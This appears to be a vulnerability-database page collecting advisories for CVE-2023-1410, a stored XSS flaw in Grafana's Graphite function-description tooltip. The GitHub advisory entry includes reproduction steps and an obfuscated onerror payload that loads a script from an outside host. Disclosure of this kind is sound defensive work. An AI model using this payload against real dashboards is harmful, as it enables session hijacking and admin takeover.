Most recent entries from all

bdu:2024-02575

BIT-grafana-2023-1410 — Stored XSS in Graphite FunctionDescription tooltip

Affected: Bitnami: grafana

Grafana is an open-source platform for monitoring and observability.

Grafana had a stored XSS vulnerability in the Graphite FunctionDescription tooltip.

The stored XSS vulnerability was possible due the value of the Function Description was not properly sanitized.

An attacker needs to have control over the Graphite data source in order to manipulate a function description and a Grafana admin needs to configure the data source, later a Grafana user needs to select a tampered function and hover over the description.

Users may upgrade to version 8.5.22, 9.2.15 and 9.3.11 to receive a fix.

certfr-2023-avi-0257 — Une vulnérabilité a été découverte dans Grafana. Elle permet à un attaquant de provoquer une injection de code indirect…

certfr-2023-avi-0257

EUVD-2026-220480

fkie_cve-2023-1410

Grafana is an open-source platform for monitoring and observability.

Grafana had a stored XSS vulnerability in the Graphite FunctionDescription tooltip.

The stored XSS vulnerability was possible due the value of the Function Description was not properly sanitized.

Users may upgrade to version 8.5.22, 9.2.15 and 9.3.11 to receive a fix.

GHSA-qrrg-gw7w-vp76 — Grafana Stored Cross-site Scripting in Graphite FunctionDescription tooltip

Affected: Go: github.com/grafana/grafana

### Summary When a Graphite data source is added, one can use this data source in a dashboard. This contains a feature to use `Functions`. Once a function is selected, a small tooltip will be shown when hovering over the name of the function. This tooltip will allow you to delete the selected Function from your query or show the Function Description. However, no sanitization is done when adding this description to the DOM. Since it is not uncommon to connect to public data sources, and attacker could host a Graphite instance with modified Function Descriptions containing XSS payloads. When the victim uses it in a query and accidentally hovers over the Function Description, an attacker controlled XSS payload will be executed. This can be used to add the attacker as an Admin for example.

### Details

1. Spin up your own Graphite instance. I've done this using the `make devenv sources=graphite`. 2. Now start a terminal for your Graphite container and modify the following file `/opt/graphite/webapp/graphite/render/functions.py` 3. Basically you can pick any function but I picked the `aggregateSeriesLists` function. Modify its description to be `"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>`

The result would look like this:

```python def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None): """…

gsd-2023-1410

openSUSE-SU-2024:12855-1 — grafana-9.4.7-1.1 on GA media

grafana-9.4.7-1.1 on GA media

RHSA-2023:7741 — Red Hat Security Advisory: Red Hat Ceph Storage 6.1 security, enhancements, and bug fix update

grafana: JWT token leak to data source grafana: Stored XSS in Graphite FunctionDescription tooltip grafana: missing access control allows test alerts by underprivileged user grafana: data source proxy race condition golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack)

SUSE-SU-2023:1902-1 — Security update for SUSE Manager Client Tools

Security update for SUSE Manager Client Tools

UBUNTU-CVE-2023-1410

Affected: Ubuntu:16.04:LTS: grafana

Grafana is an open-source platform for monitoring and observability. Grafana had a stored XSS vulnerability in the Graphite FunctionDescription tooltip. The stored XSS vulnerability was possible due the value of the Function Description was not properly sanitized. An attacker needs to have control over the Graphite data source in order to manipulate a function description and a Grafana admin needs to configure the data source, later a Grafana user needs to select a tampered function and hover over the description. Users may upgrade to version 8.5.22, 9.2.15 and 9.3.11 to receive a fix.

WID-SEC-W-2023-0726 — Grafana: Schwachstelle ermöglicht Cross-Site Scripting

Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in Grafana ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen.